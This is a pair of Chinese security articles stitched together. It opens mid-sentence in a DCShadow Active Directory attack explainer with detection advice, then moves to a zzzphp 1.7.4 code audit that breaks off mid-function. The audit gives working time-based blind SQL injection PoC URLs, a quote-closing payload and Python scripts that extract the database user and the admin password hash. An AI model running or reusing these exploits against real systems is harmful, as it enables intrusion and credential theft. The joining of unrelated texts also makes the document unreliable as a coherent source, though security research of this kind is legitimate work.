Copy功能、解析NTFS卷、ESENT操作、敏感属性操作等。大家可以访问[ADSecurity.org](https://adsecurity.org/?p=2398)了解更多细节，这个网站已经归纳的非常好了。
在这些攻击方法中，有一种方法与[DCShadow](https://www.dropbox.com/s/baypdb6glmvp0j9/Buehat%20IL%20v2.3.pdf)攻击有关。[DCSync](https://adsecurity.org/?p=1729)攻击方法于2015年推出，这种攻击需要依靠域管理员（Domain
Admins）或者域控制器（Domain
Controllers）组中的成员实现对域控制器（DC）的数据复制操作（为了完成这一任务，攻击者需要掌握GetChangeAll权限，默认情况下管理员账户以及DC都具备该权限）。实际上，根据[MS-DRSR规范](https://msdn.microsoft.com/en-us/library/cc228086.aspx)中关于域控制器数据复制的描述，这些组可以通过[GetNCChanges
RPC](https://msdn.microsoft.com/en-us/library/dd207691.aspx)向DC请求复制AD对象（包括用户凭据信息）。大家可以阅读ADSecurity.org上的这篇[文章](https://adsecurity.org/?p=1729)了解更多攻击细节。
图1. 使用mimikatz工具发起DCSync攻击
[DCSync](https://adsecurity.org/?p=1729)攻击也有不足之处，比如攻击者无法在目标AD域中注入新的对象。当然，攻击者依然可以使用Pass-The-Hash（哈希传递）技术接管管理员账户，然后再注入对象，但这个过程更加麻烦、步骤繁琐，因此蓝队很有可能会捕捉到这个攻击行为。[DCShadow](https://www.dropbox.com/s/baypdb6glmvp0j9/Buehat%20IL%20v2.3.pdf)攻击方法对[DCSync](https://adsecurity.org/?p=1729)做了些改进，因此能够弥补这些缺点。
在[DCShadow](https://www.dropbox.com/s/baypdb6glmvp0j9/Buehat%20IL%20v2.3.pdf)攻击中，攻击者无需复制数据，只需要在目标基础架构中注册新的域控制器，以便注入AD对象或者修改已有的对象（替换该对象的属性内容）。使用恶意域控制器并不是一个新的点子，人们之前已经[多次](https://www.blackhat.com/docs/us-16/materials/us-16-Beery-The-Remote-Malicious-Butler-Did-It-wp.pdf)提到过这种方法，但这些方法需要较“粗鲁”的一些技术的配合（比如安装Windows
Server虚拟机），同时还需要登录到正常的域控制器上以便虚拟机能升级为目标域的DC，这些方法并不是特别理想。
图2. 升级为DC过程中生成的日志事件
为了理解[DCShadow](https://www.dropbox.com/s/baypdb6glmvp0j9/Buehat%20IL%20v2.3.pdf)背后的天才想法，我们需要理解DC到底是什么，以及DC在AD基础架构中具体的注册过程。
## 三、域控制器（DC）
根据[MS-ADTS（Active Directory Technical
Specification，活动目录技术规范）](https://msdn.microsoft.com/en-us/library/cc223122.aspx)中的描述，AD是依赖于某些专用服务的一种multi-master（多主）架构。其中，DC负责托管与AD对象有关的数据，你可以将DC看成一种服务或者提供该服务的服务器。多个DC之间可以协同工作，以确保在本地对AD对象的修改能正确同步到所有的DC上。
当DC以RW DC角色运行时， DC中包含域配置（Configuration）的完整命名上下文（naming
context，NC）副本、schema（架构）、以及该域对应的森林（forest）的一个域名上下文。这样一来，每个RW
DC就会拥有域的所有对象，包括凭据数据以及各种秘密数据（如私钥或者会话密钥）。因此在红蓝对抗中，是个人都知道DC是蓝队应重点保护唯一元素（有各种方法可以访问DC，管理员账户或者权限只是其中的两种方式）。
## 四、DC所提供的服务
如果我们从技术原理角度详细描述DC，这个过程可能会比较复杂，对理解[DCShadow](https://www.dropbox.com/s/baypdb6glmvp0j9/Buehat%20IL%20v2.3.pdf)攻击而言帮助不大。简单起见，如果某台服务器可以提供如下4个关键组件，那么我们就可以称之为域控制器：
1、能够复制自身信息的一个数据库引擎（也就是说，我们可以通过LDAP协议访问该数据库，并且该数据库实现了符合[MS-DRSR](https://msdn.microsoft.com/en-us/library/cc228086.aspx)以及[MS-ADTS](https://msdn.microsoft.com/en-us/library/cc223122.aspx)规范的几种RPC）。
2、可以通过[Kerberos](https://en.wikipedia.org/wiki/Kerberos_%28protocol%29)、[NTLM](https://msdn.microsoft.com/en-us/library/windows/desktop/aa378749%28v=vs.85%29.aspx)、[Netlogon](https://technet.microsoft.com/fr-fr/library/cc962284.aspx)或者[WDigest](https://technet.microsoft.com/en-us/library/cc778868%28v=ws.10%29.aspx)协议访问的身份认证服务器。
3、依赖于[SMB](https://msdn.microsoft.com/fr-fr/library/hh831795%28v=ws.11%29.aspx)协议以及[LDAP](https://www.ietf.org/rfc/rfc2251.txt)协议的[GPO](https://en.wikipedia.org/wiki/Group_Policy)配置管理系统。
4、支持认证的[DNS服务器](https://msdn.microsoft.com/en-us/library/cc448821.aspx)（可选），客户端可以通过该服务器来定位相关资源。
图3. DC提供的各种服务
## 五、活动目录复制
除了这些服务外，我们的域控制器必须在目录基础架构中注册，以便另一个DC将其当成支持数据复制的一台源服务器。[NTDS](https://technet.microsoft.com/en-us/library/cc772829%28v=ws.10%29.aspx)服务上运行着名为[Knowledge Consistency
Checker（KCC，知识一致性检查）](https://technet.microsoft.com/en-us/library/cc961781.aspx?f=255&MSPPError=-2147217396)的一个进程，可以完成数据复制任务。
KCC的主要功能是生成并维护站点内复制以及站点间复制的拓扑。也就是说，KCC进程可以决定DC之间的链接关系，以创建有效的复制过程。对于站点内复制，每个KCC会生成自己的复制链接。对于站点间复制，每个站点上的KCC会生成所有的复制链接。这两种复制模式如下图所示：
图4. 两类复制过程
默认情况下，每隔[15分钟](https://technet.microsoft.com/en-us/library/cc961781.aspx)KCC就会启动AD复制拓扑的绘制过程，以实现一致性和定时传播。KCC通过每个AD对象所关联的USN来识别活动目录中出现的改动，确保复制拓扑中不会出现被孤立的域控制器。有趣的是，在这之前Windows可能已经通过RPC（如DrsAddEntry）或者SMTP（仅适用于Schema以及Configuration）完成AD复制过程。
图5. 注册表中关于复制时间间隔的键值
为了将新的服务器注入复制拓扑中，[DCShadow](https://www.dropbox.com/s/baypdb6glmvp0j9/Buehat%20IL%20v2.3.pdf)背后的研究人员做了许多工作，其中最关键的就是成功识别出完成该任务所需的最少改动，这样就可以滥用这一过程，悄悄实现恶意信息的注入。
## 六、DCShadow的工作过程
[DCShadow](https://www.dropbox.com/s/baypdb6glmvp0j9/Buehat%20IL%20v2.3.pdf)攻击的目的是注册一个新的域控制器，实现恶意AD对象的注入，以便创建后门或者获取各种类型的非法访问渠道及权限。为了实现这一目标，[DCShadow](https://www.dropbox.com/s/baypdb6glmvp0j9/Buehat%20IL%20v2.3.pdf)攻击必须修改目标AD基础架构的数据库，授权恶意服务器成为复制过程中的一员。
### 6.1 注册新的域控制器
根据 [MS-ADTS规范](https://msdn.microsoft.com/en-us/library/cc223122.aspx)中的描述，AD数据库中使用nTDSDSA类的对象来表示域控制器，该对象始终位于域的配置（configuration）命名上下文中。更确切地说，每个DC都存储在站点容器内（objectclass为sitesContainer），是server对象的子节点。
图6. 蓝色框中为存储NTDS-DSA对象的容器，红色框中为NTDS-DSA对象
经过简单查看，我们发现NTDS-DSA对象只能是server对象的子对象，而server对象只能是organization或者server对象的子对象：
1、server对象只能存储在serversContainer对象中，而后者只能在Configuration NC中找到。
2、organization对象只能存放在locality、country或者domainDNS对象中，这些对象可以在域的NC中找到。
图7. 可以创建ntds-dsa对象的位置
这样一来，域控制器（nTDSDSA对象）只能在Configuration或者Domain
NC中创建。在实际环境中，貌似只有站点容器（sitesContainer对象）中会存储nTDSDSA对象。由于KCC依靠站点信息来计算复制拓扑，因此只使用这些对象也符合常理。需要注意的是，我们无法使用LDAP协议来创建nTDSDSA对象。
说到这里你可能已经猜到，[DCShadow](https://www.dropbox.com/s/baypdb6glmvp0j9/Buehat%20IL%20v2.3.pdf)攻击的主要步骤是在schema的Configuration区中创建一个新的server及nTDSDSA对象。做到这一点后，攻击者就可以生成恶意复制数据，并将这些数据注入到其他域控制器中。
知道[DCShadow](https://www.dropbox.com/s/baypdb6glmvp0j9/Buehat%20IL%20v2.3.pdf)攻击的操作过程后，我们需要理解具备哪种权限才能在Configuration区中创建nTDSDSA对象。快速查看权限方面信息后，我们发现只有BUILTINAdministrators、DOMAINDomain
Admins、 DOMAINEnterprise Admins以及NT AUTHORITYSYSTEM具备目标容器的控制权限。
图8. Server对象的默认访问权限
因此我们可以得出一个结论：[DCShadow](https://www.dropbox.com/s/baypdb6glmvp0j9/Buehat%20IL%20v2.3.pdf)攻击技术并不属于权限提升漏洞范畴，而是滥用活动目录的一种机制。红队无法借此获得特权，但可以将其当成另一种方法，在活动目录中的达成持久化目标或者执行非法操作。因此，我们可以将其归类到[AD持久化技术](https://adsecurity.org/?p=1929)中，而非需要修复的漏洞。
### 6.2 信任新的域控制器
如前文所述，[DCShadow](https://www.dropbox.com/s/baypdb6glmvp0j9/Buehat%20IL%20v2.3.pdf)攻击需要在Configuration区中添加新的nTDSDSA对象，以将其注册为复制过程中的新成员。然而，单单添加这个对象并不足以让我们的恶意服务器启动复制过程。实际上，为了成为复制过程的一员，我们需要满足两个前提条件：
1、被其他服务器信任，也就是说我们需要拥有有效的身份认证凭据。
2、支持身份认证，以便需要复制数据时其他DC能够连接到我们的恶意服务器。
恶意服务器可以通过有效的计算机账户成为可信的AD服务器。Kerberos
SPN属性可以为其他DC提供身份认证支持。因此，每个nTDSDSA对象会通过serverReference属性链接到computer对象。
图9. serverReference属性可以充当nTDSDSA对象及其对应的computer对象的桥梁
虽然理论上我们有可能使用用户账户完成这个任务，但使用计算机账户貌似更加方便，也更为隐蔽。事实上，利用这种方法我们可以实现服务器在DNS环境中的自动注册（这样其他DC就可以定位到我们的资源）、自动设置所需的属性以及自动管理身份认证秘钥。
这样一来，[DCShadow](https://www.dropbox.com/s/baypdb6glmvp0j9/Buehat%20IL%20v2.3.pdf)就可以使用合法的计算机账户通过其他DC的身份认证。虽然computer对象以及nTDSDSA对象同样可以帮我们通过其他DC的身份认证，但我们还是需要让其他DC连接到恶意服务器，从该服务器上复制恶意信息。
我们可以使用Kerveros Service Principal
Name（SPN，服务主体名称）来满足最后一个条件。许多文章中已经介绍过SPN方面的内容，Kerberos服务（KDC）需要使用SPN所关联的计算机账户来加密Kerberos票据。对我们而言，[DCShadow](https://www.dropbox.com/s/baypdb6glmvp0j9/Buehat%20IL%20v2.3.pdf)可以在合法的computer对象上添加SPN，以通过身份认证。
在这方面工作上，[Benjamin Delpy](https://twitter.com/gentilkiwi)以及[Vincent Le
Toux](https://twitter.com/mysmartlogon)发挥了非常关键的作用，他们找到了复制过程中所需的最小SPN集合。根据他们的研究成果，我们只需要两个SPN就可以让其他DC连接到恶意服务器：
1、DRS服务类（非常有名的GUID：E3514235–4B06–11D1-AB04–00C04FC2DCD2）；
2、Global Catalog服务类（包含“GC”字符串）。
比如，我们的恶意服务器（在alsid.corp域中DSA
GUID为8515DDE8–1CE8–44E5–9C34–8A187C454208的roguedc）所需的两个SPN如下所示：
E3514235–4B06–11D1-AB04–00C04FC2DCD2/8515DDE8–1CE8–44E5–9C34–8A187C454208/alsid.corp
GC/roguedc.alsid.corp/alsid.corp
图10. 带有DC SPN的恶意计算机账户
发起攻击时，[DCShadow](https://www.dropbox.com/s/baypdb6glmvp0j9/Buehat%20IL%20v2.3.pdf)会将这两个SPN设置为目标计算机账户。更确切地说，DCShadow会使用DRSAddEntry
RPC函数来设置这两个SPN（大家可以参考CreateNtdsDsa的[函数文档](https://msdn.microsoft.com/en-us/library/dd207878.aspx)，下文中会进一步介绍MS-DRSR RPC的更多细节）。
现在我们可以将恶意域控制器注册到复制过程中，也能通过其他DC的身份认证。接下来我们需要让DC使用我们提供的恶意数据启动复制过程。
### 6.3 注入恶意对象
经过前期的准备，我们已经收集到了完成复制过程中注册任务所需的所有信息，接下来我们来看一下[DCShadow](https://www.dropbox.com/s/baypdb6glmvp0j9/Buehat%20IL%20v2.3.pdf)如何将恶意信息注入到DNS基础架构中。
根据 [MS-DRSR规范](https://msdn.microsoft.com/en-us/library/cc228086.aspx)中的描述，为了提供恶意数据，恶意域控制器必须实现某些RPC函数，即：IDL_DRSBind、IDL_DRSUnbind、IDL_DRSGetNCChanges以及IDL_DRSUpdateRefs。微软在公开规范文档中提供了这类IDL函数，现在[Benjamin
Delpy](https://twitter.com/gentilkiwi)开发的[Mimikatz](https://github.com/gentilkiwi/mimikatz/commit/ab18bd103a5cd7e26fb8d475c5ea0157d6633ca9)工具中已经集成了这些函数。
[DCShadow](https://www.dropbox.com/s/baypdb6glmvp0j9/Buehat%20IL%20v2.3.pdf)攻击的最后一个步骤就是启动复制过程。为了完成这一任务，我们可以采用如下两种策略：
1、等待其他DC上的KCC进程来启动复制过程（需要15分钟的延迟）；
2、调用DRSReplicaAdd RPC函数启动复制过程。这样可以修改[repsTo](https://msdn.microsoft.com/en-us/library/cc228410.aspx)属性的内容，马上启动数据复制过程。
图11. MS-DRSR规范中有关DRSReplicaAdd IDL的描述
使用IDL_DRSReplicaAdd
RPC发起复制过程是[DCShadow](https://www.dropbox.com/s/baypdb6glmvp0j9/Buehat%20IL%20v2.3.pdf)攻击的最后一个步骤，这样我们就可以将任意数据注入到目标AD基础架构中。完成该任务后，想在域环境中添加任何后门就易如反掌（比如在管理员组中添加新成员，或者在可控用户账户上设置SID历史记录）。
### 6.4 整体过程
[DCShadow](https://www.dropbox.com/s/baypdb6glmvp0j9/Buehat%20IL%20v2.3.pdf)整体攻击过程如下图所示。
图12. DCShadow攻击过程
## 七、DCShadow对蓝队策略的影响
根据有关[研究报告](https://www.dropbox.com/s/baypdb6glmvp0j9/Buehat%20IL%20v2.3.pdf)的说法，负责AD安全监管的蓝队通常需要收集相关事件日志，他们可以配置域内主机，将主机的日志推送到中心[SIEM](https://en.wikipedia.org/wiki/Security_information_and_event_management)进行后续分析处理。
图13. 通过WinRM事件转发协议实现事件日志推送的SIEM架构
这种方法面临一些问题，第一个问题是只有合法的计算机才会将日志推送到日志收集器上。在[DCShadow](https://www.dropbox.com/s/baypdb6glmvp0j9/Buehat%20IL%20v2.3.pdf)攻击中，只有攻击者的主机上才会生成与新数据注入过程有关的事件日志，而这台主机明显不会向[SIEM](https://en.wikipedia.org/wiki/Security_information_and_event_management)发送事件。这样一来，由于合法主机上生成的事件日志非常少，因此[DCShadow](https://www.dropbox.com/s/baypdb6glmvp0j9/Buehat%20IL%20v2.3.pdf)能实现静默攻击效果。
实际上，在本文中我们也提到过，攻击者将恶意数据信息注入目标AD之前，需要先执行几个操作。不幸的是，搭建恶意DC过程中涉及到的AD修改动作很少会纳入日志策略中。比如，日志策略中基本上不会考虑Configuration
NC修改事件。蓝方可以针对这类改动操作发出警告，但需要区分相关事件是与恶意活动有关，还是与正常的AD操作有关，这个过程需要花费较多时间，实际操作起来并不容易。
蓝队需要全面重新设计已有的防护策略，将重心从日志分析转移到AD配置分析。最直接的方法就是监控复制动作（DrsGetNCChanges
RPC更改操作）。实际上，默认情况下域的root（根）对象上的SACL条目会保存除域控制器以外的扩展权限的使用记录。这种情况下，蓝队很容易就能识别出来使用用户账户或者非DC主机的复制操作。然而，我们不觉得这是最为有效的一种方法。从我们的视角来看，为了检测[DCShadow](https://www.dropbox.com/s/baypdb6glmvp0j9/Buehat%20IL%20v2.3.pdf)攻击，蓝队需要采用如下3中策略：
1、仔细检查schema中的Configuration区。站点容器中的nTDSDSA对象必须与Domain
Controllers组织单元（organizational
unit，OU）中的正常域控制器相匹配（更严格条件下，需要与管理团队手动维护的一个DC清单相匹配）。在前者中出现但没有在后者中出现的任何对象都值得怀疑。需要注意的是，恶意nTDSDSA对象会在非法对象发布后立刻被删除。为了有效检测这种攻击手段，蓝队所使用的检测机制需要能够检测到对象创建过程。
2、在前文中我们提到，DC需要提供身份认证服务。为了发布改动信息，恶意DC需要提供能通过Kerberos访问的服务。也就是说，该DC会包含以“GC/”字符串开头的SPN（服务主体名称）。此外，攻击这也会用到著名的RPC
接口（GUID：E3514235–4B06–11D1-AB04–00C04FC2DCD2）。提供该服务但又不在DC OU中的主机也非常可疑。
3、攻击者需要较高权限才能使用[DCShadow](https://www.dropbox.com/s/baypdb6glmvp0j9/Buehat%20IL%20v2.3.pdf)技术。蓝队可以分析并监控Configuration区中的权限信息，确保除了管理员之外，没有其他人能够更改这些信息。此外，如果非特权实体获得了DACL权限，这很有可能是出现后门的一种特征。
## 八、总结
再次强调一下，本文介绍的[DCShadow](https://www.dropbox.com/s/baypdb6glmvp0j9/Buehat%20IL%20v2.3.pdf)并不是漏洞，而是将非法数据注入AD基础架构的一种新型方法。
不具备高权限的攻击者无法使用该方法来提升权限，也无法获取目标AD的管理访问权限。我们需要明确的一条底线是：如果我们的AD环境已经正确配置过并且处于安全状态，那么我们不需要采取任何紧急行动来进一步防护。
面对[DCShadow](https://www.dropbox.com/s/baypdb6glmvp0j9/Buehat%20IL%20v2.3.pdf)技术，我们不需要打上紧急补丁，也不需要应用特殊配置，这一点与[WannaCry](https://en.wikipedia.org/wiki/WannaCry_ransomware_attack)/[NotPetya](https://en.wikipedia.org/wiki/Petya_%28malware%29)事件响应处置过程有所不同。
由于[DCShadow](https://www.dropbox.com/s/baypdb6glmvp0j9/Buehat%20IL%20v2.3.pdf)不是漏洞，因此微软也不会发布更新来封堵该方法。如果想对付这种技术则需要改变AD的现有工作方式，这样一来也会给系统运行带来不便。之前公布[DCSync](https://adsecurity.org/?p=1729)攻击方法的研究人员以及微软也没有发布任何补丁来封堵该方法，因为该方法用到的都是合法的API，“修复”该缺陷就意味着禁用DC复制机制。俗话说的好，不要没事找事，何况AD现在仍在正常运行中。
然而，新的攻击方法已经公布，任何人都可以使用，这一点值得大家好好思考。高权限的攻击者可以借助该方法悄悄发起攻击，因此我们应该更新检测策略来检测这种攻击。传统的事件日志分析方法可能无法检测到[DCShadow](https://www.dropbox.com/s/baypdb6glmvp0j9/Buehat%20IL%20v2.3.pdf)攻击活动，为了有效检测这类行为，我们需要持续监视AD数据库，隔离非法的更改操作。这也是Alsid正在做的工作，我们已经可以保护客户免受这类攻击影响。大家可以访问[www.alsid.eu](http://www.alsid.eu./)了解我们如何应对这个安全风险。 | 社区文章 |
1. **前言**
小众cms的0day有啥用，长毛了都，放出来大家一起学习学习吧
注入涉及前后台，当时审计的是最新版zzzphp1.7.4版本，没想到过了几天，更新到1.7.5版本了，也就是目前最新的版本（难道是我把后台的注入提交给cnvd，然后通知给厂商了？？？）。看了下更新日志，也没有与安全相关的修复，我寻思后台注入他也不会修吧，前台注入他也不知道啊，也有可能被别人提交到哪个地方了吧。然后试了下exp，发现不起作用了……看来还是被修复了，对比了下发现确实是，然后分析了会，又给绕过去了，下面一一分析两个版本的前后台注入。
2. **zzzphp1.7.4后台9处注入**
后台目录默认为admin加三位数字，我这里为admin241
重点分析第一处注入：
在admin241/index.php中的14及17行，
$cid=geturl('cid');
$data=db_load_sql_one('select _,b.sid,b.s_type from [dbpre]content
a,[dbpre]sort b where b.sid=a.c_sid and cid='.$cid);
$cid是直接拼接在后面的，也没有单引号啥的
跟踪函数geturl，在inc/zzz_main.php的1724行，
这里就有很多坑了，一一来分析：
1.它是通过$_SERVER[ 'REQUEST_URI'
]然后parse_url来获取参数值的，所以无法存在空格，制表符等字符。如：在浏览器中访问127.0.0.1/?id=123
aaa，通过此方式获取的id值为123%20aaa，这还怎么注入。尝试在burp中，直接加入空格，返回http400。考虑到mysql中制表符可以代替空格，以16进制的方式，将上述的空格修改为09，即在hex窗口中将20修改为09，同样返回http400。所以想注入的话，不能够存在空格等字符。然后也不能存在url编码的东西，比如浏览器访问127.0.0.1/?id=1>1，获取的id为1%3e1,
不会自动给你进行一次url解码,但这种情况可以直接在burp中修改，把请求里的%3e改为>即可
2.注意到1731行的$arr = explode( '/', $s )，所以不能存在字符/，故无法考虑使用/_的形式代替空格
3.注意到1734行的$last = str_replace( '&', '=', array_pop( $arr ) )，所以注入时不能存在字符&
4.注意到1736行的$arr1 = explode( '=', $last )，所以注入时不能存在字符=
5.1726行的$s = danger_key($s)，danger_key在zzz_main.php的769行，如下：
function danger_key($s) {
$danger=array('php','preg','server','chr','decode','html','md5','post','get','file','cookie','session','sql','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','_');
$s = str_ireplace($danger,"*",$s);
$key=array('php','preg','decode','post','get','cookie','session','$','exec','ascii','eval','replace');
foreach ($key as $val){
if(strpos($s,$val) !==false){
error('很抱歉，执行出错，发现危险字符【'.$val.'】');
}
}
return $s;
}
过滤了很多字符，初看一眼，和注入相关的，不能存在chr，union，ascii字符。
这里我没有仔细一行一行看了，直接来测试一下这个geturl函数，
在admin241/index.php的14行后面加个echo $cid;exit;
出现了mysql注释符直接没东西返回
综上，注入不能出现空格，=， /，union,ascii，以及需要进行url编码才认识的字符（如%0a,制表符等）
有那么多限制，考虑时间盲注，eg：
index.php?id=(sleep(ascii(mid(user()from(1)for(1)))=109))
ascii被过滤了，用ord替换，=号被过滤了，用<或>
先测试sleep多长时间比较合适，经过测试，如果延时成功，sleep(0.1)会在2.9s左右响应（是由于前面的sql语句会返回29行记录，sleep(1)的话要等29s左右才响应）
Poc：
[http://127.0.0.1/zzzphp/admin241/?module=content&sid=123&cid=(sleep(0.1*(ord(mid(user(),1,1](http://127.0.0.1/zzzphp/admin241/?module=content&sid=123&cid=\(sleep\(0.1*\(ord\(mid\(user\(\),1,1)))<97)))
如果没有延时，直接响应，说明user()的第一个字符小于97是不对的
[http://127.0.0.1/zzzphp/admin241/?module=content&sid=123&cid=(sleep(0.1*(ord(mid(user(),1,1](http://127.0.0.1/zzzphp/admin241/?module=content&sid=123&cid=\(sleep\(0.1*\(ord\(mid\(user\(\),1,1)))<98)))
如果成功延时，2.9s左右返回，说明user()的第一个字符小于98是对的，导致延迟成功。
那么，user()的第一个字符的ascii就是97。
附上exp来获取数据库用户名：
import urllib.request
import time
headers = {
"Cookie": "zzz_adminpass=1; zzz_adminpath=0; zzz_adminname=admin; zzz_admintime=1574763592; zzz_adminface=..%2Fplugins%2Fface%2Fface1.png; PHPSESSID=5iqginknjajejlgk18rerm73a3",
}
result = []
for i in range (1,5):
for j in range(47,122):#暂考虑数字字母，没考虑其他字符
url = "http://127.0.0.1/zzzphp/admin241/?module=content&sid=123&cid=(sleep(0.1*(ord(mid(user(),"+str(i)+",1))<"+str(j)+")))"
try:
request = urllib.request.Request(url=url,headers=headers)
response = urllib.request.urlopen(request,timeout=1)
except:
print("第"+str(i)+"位："+chr(j-1))
result.append(chr(j-1))
time.sleep(2)
break
print(result)
那么问题来了，由于不能存在空格等字符，仅仅一个user()不能证明能够获取其他数据，怎么获取user表的password？
考虑+代替空格，但是from前后的空格，不能用+代替，mysql会报错。最终使用括号成功，如图，并没有出现空格等字符，成功将zzz_user表里uid为1（uid小于2）的密码查询
失败的Poc：
[http://127.0.0.1/zzzphp/admin241/?module=content&sid=123&cid=(sleep(0.1*(ord(mid((select(password)from(zzz_user)where+uid](http://127.0.0.1/zzzphp/admin241/?module=content&sid=123&cid=\(sleep\(0.1*\(ord\(mid\(\(select\(password\)from\(zzz_user\)where+uid)<2),1,1))<96)))
原因：没有注意到下划线被过滤了（上面的danger_key函数过滤的，将_替换为星号），下划线被过滤，那就基本无解，无法查询其他表内容
回头重新看了眼拼接sql语句的地方：
$data=db_load_sql_one('select *,b.sid,b.s_type from [dbpre]content
a,[dbpre]sort b where b.sid=a.c_sid and cid='.$cid);
发现他也没有给表的前缀，然后用[dbpre]代替的，追踪函数db_load_sql_one，
function db_load_sql_one( $sql, $d = NULL ) {
$db = $_SERVER[ 'db' ];
$d = $d ? $d : $db;
if ( !$d ) return FALSE;
$sql = str_replace( '[dbpre]', DB_PRE, $sql );
$arr = $d->sql_find_one( $sql );
db_errno_errstr($arr, $d, $sql);
return $arr;
}
将[dbpre]给换成表前缀，所以我也可以这样做，表前缀用[dbpre]即可。
最终poc：
[http://127.0.0.1/zzzphp/admin241/?module=content&sid=123&cid=(sleep(0.1*(ord(mid((select(password)from([dbpre]user)where+uid](http://127.0.0.1/zzzphp/admin241/?module=content&sid=123&cid=\(sleep\(0.1*\(ord\(mid\(\(select\(password\)from\(\[dbpre\]user\)where+uid)<2),1,1))<96)))
获取管理员（uid为1）的password的exp
import urllib.request
import time
headers = {
"Cookie": "zzz_adminpass=1; zzz_adminpath=0; zzz_adminname=admin; zzz_admintime=1574763592; zzz_adminface=..%2Fplugins%2Fface%2Fface1.png; PHPSESSID=5iqginknjajejlgk18rerm73a3",
}
result = []
for i in range (1,17):
for j in range(47,122):
url = "http://127.0.0.1/zzzphp/admin241/?module=content&sid=123&cid=(sleep(0.1*(ord(mid((select(password)from([dbpre]user)where+uid<2),"+str(i)+",1))<"+str(j)+")))"
try:
request = urllib.request.Request(url=url,headers=headers)
response = urllib.request.urlopen(request,timeout=1)
except:
print("第"+str(i)+"位："+chr(j-1))
result.append(chr(j-1))
time.sleep(2)
break
print(result)
既然将geturl('xxx')直接拼接进sql语句会造成时间盲注，那么全局搜索一下，最终发现，除了上面分析的一处，还存在8处注入，共9处
21行的sid，26行的stype，37行的sid，44行的sid，46行的pid，54行的customid，61行的uid，66行的gid
剩下的8处都是类似db_load_one('user_group',array('gid'=>$gid))的形式，和最开始分析的直接拼接进sql语句的有点不一样，这里只挑一个简单说一下吧。就分析最后一个吧，66行的那个
先跟进函数db_load_one，这个函数在最后一行调用了find_one，跟进find_one函数（inc/zzz_db_mysql.php的83行）
这里我在93-94行直接插入：
echo "SELECT $cols FROM $table $where$orderby LIMIT 1";exit;
然后访问127.0.0.1/zzzphp/admin241/?module=admingroup&gid=aaa'，如图
可以看到，gid的值直接被拼接到sql语句中，然后被单引号包起来，但是并没有过滤单引号。
然后在数据库中测好延时及合适的sql语句
第一个图是想去除空格及测好延时，第二个图是想完成引号闭合及去除空格
故可构造poc：
127.0.0.1/zzzphp/admin241/?module=admingroup&gid=aaa'or(sleep(0.3))or'
3. **zzzphp1.7.4前台几处sql注入**
在前台随便点了一个链接：<http://127.0.0.1/zzzphp/?news/7>
接下来去看看这个news和这个7是怎么整到数据库执行的
根目录下的index.php只require了inc/zzz_client.php
zzz_client.php从上往下看，前面整了一堆没用的，然后在58-59行：
$location=getlocation();
ParseGlobal(G('sid'),G('cid'));
这里我就猜测getlocation应该就是来解析url的，然后生成了G('sid'),G('cid')，然后再ParseGlobal
我就直接在$location=getlocation();后面加了echo G('sid');echo 11111;echo G('cid');exit;
如图，G('sid')没有，G('cid')为url中的7
基本可以确定是getlocation()来设置参数的
getlocation函数在zzz_main的1537行左右：
function getlocation() {
$location = getform( 'location', 'get' );
if ( isset( $location ) ) {
if ( checklocation( $location ) != FALSE )
return $location;
}
$url = $_SERVER[ 'REQUEST_URI' ];
if(substr($url, -1)== "=") phpgo (rtrim($url, '='));
if ( conf( 'runmode' ) == 2 ) {
$arr = stripos( $url, '?' ) === FALSE ? parse_url( '?' . ltrim( $url, '/' ) ) : parse_url( $url );
} else {
$arr = parse_url( $url );
}
$query = arr_value( $arr, 'query' );
$query = str_replace( conf( 'siteext' ), '', $query );
$GLOBALS[ 'page' ] = sub_right( $query, '_' );
$query = sub_left( $query, '_' );
if ( defined( 'LOCATION' ) ) {
$GLOBALS[ 'sid' ] = '-1';
$GLOBALS[ 'cid' ] = '-1';
$GLOBALS[ 'cname' ] = LOCATION;
return LOCATION;
}
if ( empty( $query ) ) {
$GLOBALS[ 'sid' ] = 0;
$GLOBALS[ 'cid' ] = 0;
$GLOBALS[ 'cname' ] = 'index';
return 'index';
} else {
$pos = stripos( $query, '/' );
$q = substr( $query, 0, $pos );
$p = substr( $query, $pos + 1 );
$location = empty( $q ) ? checklocation( $query, 0 ) : checklocation( $q, $p );
//echop('location:'.$location);echop('query:'.$query);echop('q:'.$q);echop('p:'.$p);echop('sid:'.G('sid'));;echop('cid:'.G('cid'));die;
if ( !empty( $location ) ) {
return $location;
}
if ( $q == 'brand' ) {
$GLOBALS[ 'sid' ] = '-1';
if ( !empty( $p ) ) {
if ( db_count( 'brand', "b_filename='" . $p . "'" ) > 0 ) {
$GLOBALS[ 'bname' ] = $p;
} else {
$GLOBALS[ 'bid' ] = $p;
}
}
return 'brand';
}
if ( !empty( $query ) ) {
$query = sub_left( $query, '=' );
if ( db_count( "sort", "s_filename='" . $query . "'" ) > 0 ) {
$data = db_load_one( "sort", "s_filename='" . $query . "'", "sid,s_type" );
$GLOBALS[ 'cid' ] = 0;
$GLOBALS[ 'sid' ] = $data[ 'sid' ];
$GLOBALS[ 'cname' ] = $query;
return in_array($data[ 's_type' ],load_model()) ? 'list' : $data[ 's_type' ];
}
}
if ( $pos == 0 ) {
return $query;
}
}
}
代码很长，很难看的样子，也是通过$_SERVER[ 'REQUEST_URI' ]的方式处理参数的。我也没有动态调试的工具，向来只是手动echo
xxx;exit;的方式下断点。但是既然刚刚已经知道了cid就是7，所以可以直接忽略$GLOBALS[ 'cid' ] =
0这种的判断，所有我猜测（实际上就是这样），应该是进入到了$location = empty( $q ) ? checklocation( $query,
0 ) : checklocation( $q, $p );，通过调用checklocation来设置cid的
zzz_main.php的1602行 checklocation：
function checklocation( $q, $p = NULL ) {
$arr1 = array( 'about', 'gbook', 'list', 'taglist', 'brandlist' );
$arr2 = array( 'content', 'order', 'user', 'form', conf('wappath'), 'sitemap', 'sitexml' );
$arr3 = load_model();
if ( in_array( $q, $arr1 ) ) {
$p = sub_right( $p, '/' );
$sid = arr_split($p,'_',0);
if ( ifnum($sid)) {
// 对后半部分截取，并且分析
$GLOBALS[ 'sid' ] = $sid;
$GLOBALS[ 'cid' ] = 0;
} else {
$p = sub_left( $p, '=' );
$GLOBALS[ 'sid' ] = arr_split($p,'&',0);
$GLOBALS[ 'cid' ] = 0;
}
return $q;
} elseif ( in_array( $q, $arr2 ) ) {
if ( ifnum( $p ) ) {
$GLOBALS[ 'cid' ] = $p;
$GLOBALS[ 'sid' ] = '-1';
return $q;
} else {
$p = sub_left( $p, '=' );
$cid = sub_left( $p, '&' );
if ( $cid > 0 ) $GLOBALS[ 'cid' ] = $cid;
